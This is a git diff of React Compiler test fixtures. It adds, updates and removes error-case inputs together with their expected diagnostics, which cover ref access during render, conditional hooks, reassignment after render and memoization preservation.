diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.capture-ref-for-mutation.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.capture-ref-for-mutation.expect.md
new file mode 100644
index 000000000000..a3b2ace512fe
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.capture-ref-for-mutation.expect.md
@@ -0,0 +1,64 @@
+
+## Input
+
+```javascript
+import {useRef} from 'react';
+import {addOne} from 'shared-runtime';
+
+function useKeyCommand() {
+  const currentPosition = useRef(0);
+  const handleKey = direction => () => {
+    const position = currentPosition.current;
+    const nextPosition = direction === 'left' ? addOne(position) : position;
+    currentPosition.current = nextPosition;
+  };
+  const moveLeft = {
+    handler: handleKey('left')(),
+  };
+  const moveRight = {
+    handler: handleKey('right')(),
+  };
+  return [moveLeft, moveRight];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useKeyCommand,
+  params: [],
+};
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.capture-ref-for-mutation.ts:12:13
+  10 |   };
+  11 |   const moveLeft = {
+> 12 |     handler: handleKey('left')(),
+     |              ^^^^^^^^^^^^^^^^^ This function accesses a ref value
+  13 |   };
+  14 |   const moveRight = {
+  15 |     handler: handleKey('right')(),
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.capture-ref-for-mutation.ts:15:13
+  13 |   };
+  14 |   const moveRight = {
+> 15 |     handler: handleKey('right')(),
+     |              ^^^^^^^^^^^^^^^^^^ This function accesses a ref value
+  16 |   };
+  17 |   return [moveLeft, moveRight];
+  18 | }
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.capture-ref-for-mutation.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.capture-ref-for-mutation.tsx
new file mode 100644
index 000000000000..41e117ed15e8
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.capture-ref-for-mutation.tsx
@@ -0,0 +1,23 @@
+import {useRef} from 'react';
+import {addOne} from 'shared-runtime';
+
+function useKeyCommand() {
+  const currentPosition = useRef(0);
+  const handleKey = direction => () => {
+    const position = currentPosition.current;
+    const nextPosition = direction === 'left' ? addOne(position) : position;
+    currentPosition.current = nextPosition;
+  };
+  const moveLeft = {
+    handler: handleKey('left')(),
+  };
+  const moveRight = {
+    handler: handleKey('right')(),
+  };
+  return [moveLeft, moveRight];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useKeyCommand,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.codegen-error-on-conflicting-imports.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.codegen-error-on-conflicting-imports.expect.md
deleted file mode 100644
index 48ef45d6b393..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.codegen-error-on-conflicting-imports.expect.md
+++ /dev/null
@@ -1,21 +0,0 @@
-
-## Input
-
-```javascript
-// @enableEmitFreeze @instrumentForget
-
-let makeReadOnly = "conflicting identifier";
-function useFoo(props) {
-  return foo(props.x);
-}
-
-```
-
-
-## Error
-
-```
-Invariant: Encountered conflicting import specifiers for makeReadOnly in generated program.
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.codegen-error-on-conflicting-imports.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.codegen-error-on-conflicting-imports.js
deleted file mode 100644
index a275e6671f95..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.codegen-error-on-conflicting-imports.js
+++ /dev/null
@@ -1,6 +0,0 @@
-// @enableEmitFreeze @instrumentForget
-
-let makeReadOnly = "conflicting identifier";
-function useFoo(props) {
-  return foo(props.x);
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.component-syntax-ref-gating.flow.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.component-syntax-ref-gating.flow.expect.md
deleted file mode 100644
index 19bd4d68e0dd..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.component-syntax-ref-gating.flow.expect.md
+++ /dev/null
@@ -1,22 +0,0 @@
-
-## Input
-
-```javascript
-// @flow @gating
-component Foo(ref: React.RefSetter<Controls>) {
-  return <Bar ref={ref}/>;
-}
-```
-
-
-## Error
-
-```
-  1 | // @flow @gating
-> 2 | component Foo(ref: React.RefSetter<Controls>) {
-    |           ^^^ Invariant: Encountered a function used before its declaration, which breaks Forget's gating codegen due to hoisting. Rewrite the reference to Foo_withRef to not rely on hoisting to fix this issue (2:2)
-  3 |   return <Bar ref={ref}/>;
-  4 | }
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.component-syntax-ref-gating.flow.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.component-syntax-ref-gating.flow.js
deleted file mode 100644
index 4506f0ab396b..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.component-syntax-ref-gating.flow.js
+++ /dev/null
@@ -1,4 +0,0 @@
-// @flow @gating
-component Foo(ref: React.RefSetter<Controls>) {
-  return <Bar ref={ref}/>;
-}
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.conditional-hook-unknown-hook-react-namespace.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.conditional-hook-unknown-hook-react-namespace.expect.md
index 7ea8ae980937..fbf5ca665b4f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.conditional-hook-unknown-hook-react-namespace.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.conditional-hook-unknown-hook-react-namespace.expect.md
@@ -16,10 +16,15 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.conditional-hook-unknown-hook-react-namespace.ts:4:8
   2 |   let x = null;
   3 |   if (props.cond) {
 > 4 |     x = React.useNonexistentHook();
-    |         ^^^^^^^^^^^^^^^^^^^^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (4:4)
+    |         ^^^^^^^^^^^^^^^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
   5 |   }
   6 |   return x;
   7 | }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.conditional-hooks-as-method-call.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.conditional-hooks-as-method-call.expect.md
index c2ad547414aa..2f8806787d2e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.conditional-hooks-as-method-call.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.conditional-hooks-as-method-call.expect.md
@@ -16,10 +16,15 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.conditional-hooks-as-method-call.ts:4:8
   2 |   let x = null;
   3 |   if (props.cond) {
 > 4 |     x = Foo.useFoo();
-    |         ^^^^^^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (4:4)
+    |         ^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
   5 |   }
   6 |   return x;
   7 | }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.context-variable-only-chained-assign.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.context-variable-only-chained-assign.expect.md
new file mode 100644
index 000000000000..6e9887c5ac52
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.context-variable-only-chained-assign.expect.md
@@ -0,0 +1,47 @@
+
+## Input
+
+```javascript
+import {identity, invoke} from 'shared-runtime';
+
+function foo() {
+  let x = 2;
+  const fn1 = () => {
+    const copy1 = (x = 3);
+    return identity(copy1);
+  };
+  const fn2 = () => {
+    const copy2 = (x = 4);
+    return [invoke(fn1), copy2, identity(copy2)];
+  };
+  return invoke(fn2);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: foo,
+  params: [],
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Cannot reassign variable after render completes
+
+Reassigning `x` after render has completed can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.context-variable-only-chained-assign.ts:10:19
+   8 |   };
+   9 |   const fn2 = () => {
+> 10 |     const copy2 = (x = 4);
+     |                    ^ Cannot reassign `x` after render completes
+  11 |     return [invoke(fn1), copy2, identity(copy2)];
+  12 |   };
+  13 |   return invoke(fn2);
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.context-variable-only-chained-assign.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.context-variable-only-chained-assign.js
new file mode 100644
index 000000000000..095765cdb9d6
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.context-variable-only-chained-assign.js
@@ -0,0 +1,19 @@
+import {identity, invoke} from 'shared-runtime';
+
+function foo() {
+  let x = 2;
+  const fn1 = () => {
+    const copy1 = (x = 3);
+    return identity(copy1);
+  };
+  const fn2 = () => {
+    const copy2 = (x = 4);
+    return [invoke(fn1), copy2, identity(copy2)];
+  };
+  return invoke(fn2);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: foo,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.declare-reassign-variable-in-function-declaration.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.declare-reassign-variable-in-function-declaration.expect.md
new file mode 100644
index 000000000000..e5c28e6e362f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.declare-reassign-variable-in-function-declaration.expect.md
@@ -0,0 +1,36 @@
+
+## Input
+
+```javascript
+function Component() {
+  let x = null;
+  function foo() {
+    x = 9;
+  }
+  const y = bar(foo);
+  return <Child y={y} />;
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Cannot reassign variable after render completes
+
+Reassigning `x` after render has completed can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.declare-reassign-variable-in-function-declaration.ts:4:4
+  2 |   let x = null;
+  3 |   function foo() {
+> 4 |     x = 9;
+    |     ^ Cannot reassign `x` after render completes
+  5 |   }
+  6 |   const y = bar(foo);
+  7 |   return <Child y={y} />;
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/declare-reassign-variable-in-function-declaration.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.declare-reassign-variable-in-function-declaration.js
similarity index 100%
rename from compiler/crates/react_hermes_parser/tests/fixtures/declare-reassign-variable-in-function-declaration.js
rename to compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.declare-reassign-variable-in-function-declaration.js
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.default-param-accesses-local.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.default-param-accesses-local.expect.md
index dbf084466d80..4bf9a06b6e97 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.default-param-accesses-local.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.default-param-accesses-local.expect.md
@@ -22,6 +22,11 @@ export const FIXTURE_ENTRYPOINT = {
 ## Error
 
 ```
+Found 1 error:
+
+Todo: (BuildHIR::node.lowerReorderableExpression) Expression type `ArrowFunctionExpression` cannot be safely reordered
+
+error.default-param-accesses-local.ts:3:6
   1 | function Component(
   2 |   x,
 > 3 |   y = () => {
@@ -29,7 +34,7 @@ export const FIXTURE_ENTRYPOINT = {
 > 4 |     return x;
     | ^^^^^^^^^^^^^
 > 5 |   }
-    | ^^^^ Todo: (BuildHIR::node.lowerReorderableExpression) Expression type `ArrowFunctionExpression` cannot be safely reordered (3:5)
+    | ^^^^ (BuildHIR::node.lowerReorderableExpression) Expression type `ArrowFunctionExpression` cannot be safely reordered
   6 | ) {
   7 |   return y();
   8 | }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.dont-hoist-inline-reference.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.dont-hoist-inline-reference.expect.md
index 06fc7f77f7bc..00a68405f8a1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.dont-hoist-inline-reference.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.dont-hoist-inline-reference.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 function useInvalid() {
   const x = identity(x);
   return x;
@@ -19,10 +19,17 @@ export const FIXTURE_ENTRYPOINT = {
 ## Error
 
 ```
-  1 | import { identity } from "shared-runtime";
+Found 1 error:
+
+Todo: [hoisting] EnterSSA: Expected identifier to be defined before being used
+
+Identifier x$1 is undefined.
+
+error.dont-hoist-inline-reference.ts:3:2
+  1 | import {identity} from 'shared-runtime';
   2 | function useInvalid() {
 > 3 |   const x = identity(x);
-    |   ^^^^^^^^^^^^^^^^^^^^^^ Todo: [hoisting] EnterSSA: Expected identifier to be defined before being used. Identifier x$1 is undefined (3:3)
+    |   ^^^^^^^^^^^^^^^^^^^^^^ [hoisting] EnterSSA: Expected identifier to be defined before being used
   4 |   return x;
   5 | }
   6 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.dont-hoist-inline-reference.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.dont-hoist-inline-reference.js
index 9a4ec50f478c..d017d9ea9e12 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.dont-hoist-inline-reference.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.dont-hoist-inline-reference.js
@@ -1,4 +1,4 @@
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 function useInvalid() {
   const x = identity(x);
   return x;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.fault-tolerance-reports-multiple-errors.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.fault-tolerance-reports-multiple-errors.expect.md
new file mode 100644
index 000000000000..e66e99524fad
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.fault-tolerance-reports-multiple-errors.expect.md
@@ -0,0 +1,60 @@
+
+## Input
+
+```javascript
+// @validateRefAccessDuringRender
+/**
+ * This fixture tests fault tolerance: the compiler should report
+ * multiple independent errors rather than stopping at the first one.
+ *
+ * Error 1: Ref access during render (ref.current)
+ * Error 2: Mutation of frozen value (props)
+ */
+function Component(props) {
+  const ref = useRef(null);
+
+  // Error: reading ref during render
+  const value = ref.current;
+
+  // Error: mutating frozen value (props, which is frozen after hook call)
+  props.items = [];
+
+  return <div>{value}</div>;
+}
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Error: This value cannot be modified
+
+Modifying component props or hook arguments is not allowed. Consider using a local variable instead.
+
+error.fault-tolerance-reports-multiple-errors.ts:16:2
+  14 |
+  15 |   // Error: mutating frozen value (props, which is frozen after hook call)
+> 16 |   props.items = [];
+     |   ^^^^^ value cannot be modified
+  17 |
+  18 |   return <div>{value}</div>;
+  19 | }
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.fault-tolerance-reports-multiple-errors.ts:13:16
+  11 |
+  12 |   // Error: reading ref during render
+> 13 |   const value = ref.current;
+     |                 ^^^^^^^^^^^ Cannot access ref value during render
+  14 |
+  15 |   // Error: mutating frozen value (props, which is frozen after hook call)
+  16 |   props.items = [];
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.fault-tolerance-reports-multiple-errors.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.fault-tolerance-reports-multiple-errors.js
new file mode 100644
index 000000000000..f478540250ed
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.fault-tolerance-reports-multiple-errors.js
@@ -0,0 +1,19 @@
+// @validateRefAccessDuringRender
+/**
+ * This fixture tests fault tolerance: the compiler should report
+ * multiple independent errors rather than stopping at the first one.
+ *
+ * Error 1: Ref access during render (ref.current)
+ * Error 2: Mutation of frozen value (props)
+ */
+function Component(props) {
+  const ref = useRef(null);
+
+  // Error: reading ref during render
+  const value = ref.current;
+
+  // Error: mutating frozen value (props, which is frozen after hook call)
+  props.items = [];
+
+  return <div>{value}</div>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.function-expression-references-variable-its-assigned-to.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.function-expression-references-variable-its-assigned-to.expect.md
new file mode 100644
index 000000000000..a8a83f6b116d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.function-expression-references-variable-its-assigned-to.expect.md
@@ -0,0 +1,34 @@
+
+## Input
+
+```javascript
+function Component() {
+  let callback = () => {
+    callback = null;
+  };
+  return <div onClick={callback} />;
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Cannot reassign variable after render completes
+
+Reassigning `callback` after render has completed can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.function-expression-references-variable-its-assigned-to.ts:3:4
+  1 | function Component() {
+  2 |   let callback = () => {
+> 3 |     callback = null;
+    |     ^^^^^^^^ Cannot reassign `callback` after render completes
+  4 |   };
+  5 |   return <div onClick={callback} />;
+  6 | }
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-function-expression-references-variable-its-assigned-to.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.function-expression-references-variable-its-assigned-to.js
similarity index 100%
rename from compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-function-expression-references-variable-its-assigned-to.js
rename to compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.function-expression-references-variable-its-assigned-to.js
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.gating-hoisting.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.gating-hoisting.expect.md
deleted file mode 100644
index 00084b56f308..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.gating-hoisting.expect.md
+++ /dev/null
@@ -1,26 +0,0 @@
-
-## Input
-
-```javascript
-// @gating
-const Foo = React.forwardRef(Foo_withRef);
-function Foo_withRef(props, ref) {
-  return <Bar ref={ref} {...props}></Bar>;
-}
-
-```
-
-
-## Error
-
-```
-  1 | // @gating
-  2 | const Foo = React.forwardRef(Foo_withRef);
-> 3 | function Foo_withRef(props, ref) {
-    |          ^^^^^^^^^^^ Invariant: Encountered a function used before its declaration, which breaks Forget's gating codegen due to hoisting. Rewrite the reference to Foo_withRef to not rely on hoisting to fix this issue (3:3)
-  4 |   return <Bar ref={ref} {...props}></Bar>;
-  5 | }
-  6 |
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.gating-hoisting.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.gating-hoisting.js
deleted file mode 100644
index f0a2879c0982..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.gating-hoisting.js
+++ /dev/null
@@ -1,5 +0,0 @@
-// @gating
-const Foo = React.forwardRef(Foo_withRef);
-function Foo_withRef(props, ref) {
-  return <Bar ref={ref} {...props}></Bar>;
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.gating-use-before-decl.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.gating-use-before-decl.expect.md
deleted file mode 100644
index 0a80bf3be8ed..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.gating-use-before-decl.expect.md
+++ /dev/null
@@ -1,24 +0,0 @@
-
-## Input
-
-```javascript
-// @gating
-import { memo } from "react";
-
-export default memo(Foo);
-function Foo() {}
-
-```
-
-
-## Error
-
-```
-  3 |
-  4 | export default memo(Foo);
-> 5 | function Foo() {}
-    |          ^^^ Invariant: Encountered a function used before its declaration, which breaks Forget's gating codegen due to hoisting. Rewrite the reference to Foo to not rely on hoisting to fix this issue (5:5)
-  6 |
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.gating-use-before-decl.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.gating-use-before-decl.js
deleted file mode 100644
index ec177177edac..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.gating-use-before-decl.js
+++ /dev/null
@@ -1,5 +0,0 @@
-// @gating
-import { memo } from "react";
-
-export default memo(Foo);
-function Foo() {}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hoist-optional-member-expression-with-conditional-optional.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hoist-optional-member-expression-with-conditional-optional.expect.md
new file mode 100644
index 000000000000..7913666aa31b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hoist-optional-member-expression-with-conditional-optional.expect.md
@@ -0,0 +1,57 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies
+import {ValidateMemoization} from 'shared-runtime';
+function Component(props) {
+  const data = useMemo(() => {
+    const x = [];
+    x.push(props?.items);
+    if (props.cond) {
+      x.push(props?.items);
+    }
+    return x;
+  }, [props?.items, props.cond]);
+  return (
+    <ValidateMemoization inputs={[props?.items, props.cond]} output={data} />
+  );
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `props.items`, but the source dependencies were [props?.items, props.cond]. Inferred different dependency than source.
+
+error.hoist-optional-member-expression-with-conditional-optional.ts:4:23
+   2 | import {ValidateMemoization} from 'shared-runtime';
+   3 | function Component(props) {
+>  4 |   const data = useMemo(() => {
+     |                        ^^^^^^^
+>  5 |     const x = [];
+     | ^^^^^^^^^^^^^^^^^
+>  6 |     x.push(props?.items);
+     | ^^^^^^^^^^^^^^^^^
+>  7 |     if (props.cond) {
+     | ^^^^^^^^^^^^^^^^^
+>  8 |       x.push(props?.items);
+     | ^^^^^^^^^^^^^^^^^
+>  9 |     }
+     | ^^^^^^^^^^^^^^^^^
+> 10 |     return x;
+     | ^^^^^^^^^^^^^^^^^
+> 11 |   }, [props?.items, props.cond]);
+     | ^^^^ Could not preserve existing manual memoization
+  12 |   return (
+  13 |     <ValidateMemoization inputs={[props?.items, props.cond]} output={data} />
+  14 |   );
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hoist-optional-member-expression-with-conditional-optional.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hoist-optional-member-expression-with-conditional-optional.js
new file mode 100644
index 000000000000..760f345e9021
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hoist-optional-member-expression-with-conditional-optional.js
@@ -0,0 +1,15 @@
+// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies
+import {ValidateMemoization} from 'shared-runtime';
+function Component(props) {
+  const data = useMemo(() => {
+    const x = [];
+    x.push(props?.items);
+    if (props.cond) {
+      x.push(props?.items);
+    }
+    return x;
+  }, [props?.items, props.cond]);
+  return (
+    <ValidateMemoization inputs={[props?.items, props.cond]} output={data} />
+  );
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hoist-optional-member-expression-with-conditional.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hoist-optional-member-expression-with-conditional.expect.md
new file mode 100644
index 000000000000..b60a91187552
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hoist-optional-member-expression-with-conditional.expect.md
@@ -0,0 +1,57 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies
+import {ValidateMemoization} from 'shared-runtime';
+function Component(props) {
+  const data = useMemo(() => {
+    const x = [];
+    x.push(props?.items);
+    if (props.cond) {
+      x.push(props.items);
+    }
+    return x;
+  }, [props?.items, props.cond]);
+  return (
+    <ValidateMemoization inputs={[props?.items, props.cond]} output={data} />
+  );
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `props.items`, but the source dependencies were [props?.items, props.cond]. Inferred different dependency than source.
+
+error.hoist-optional-member-expression-with-conditional.ts:4:23
+   2 | import {ValidateMemoization} from 'shared-runtime';
+   3 | function Component(props) {
+>  4 |   const data = useMemo(() => {
+     |                        ^^^^^^^
+>  5 |     const x = [];
+     | ^^^^^^^^^^^^^^^^^
+>  6 |     x.push(props?.items);
+     | ^^^^^^^^^^^^^^^^^
+>  7 |     if (props.cond) {
+     | ^^^^^^^^^^^^^^^^^
+>  8 |       x.push(props.items);
+     | ^^^^^^^^^^^^^^^^^
+>  9 |     }
+     | ^^^^^^^^^^^^^^^^^
+> 10 |     return x;
+     | ^^^^^^^^^^^^^^^^^
+> 11 |   }, [props?.items, props.cond]);
+     | ^^^^ Could not preserve existing manual memoization
+  12 |   return (
+  13 |     <ValidateMemoization inputs={[props?.items, props.cond]} output={data} />
+  14 |   );
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hoist-optional-member-expression-with-conditional.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hoist-optional-member-expression-with-conditional.js
new file mode 100644
index 000000000000..3f773f4fe4e4
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hoist-optional-member-expression-with-conditional.js
@@ -0,0 +1,15 @@
+// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies
+import {ValidateMemoization} from 'shared-runtime';
+function Component(props) {
+  const data = useMemo(() => {
+    const x = [];
+    x.push(props?.items);
+    if (props.cond) {
+      x.push(props.items);
+    }
+    return x;
+  }, [props?.items, props.cond]);
+  return (
+    <ValidateMemoization inputs={[props?.items, props.cond]} output={data} />
+  );
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hoisted-function-declaration.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hoisted-function-declaration.expect.md
deleted file mode 100644
index 47bcb421f3ad..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hoisted-function-declaration.expect.md
+++ /dev/null
@@ -1,29 +0,0 @@
-
-## Input
-
-```javascript
-function component(a) {
-  let t = { a };
-  x(t); // hoisted call
-  function x(p) {
-    p.foo();
-  }
-  return t;
-}
-
-```
-
-
-## Error
-
-```
-  1 | function component(a) {
-  2 |   let t = { a };
-> 3 |   x(t); // hoisted call
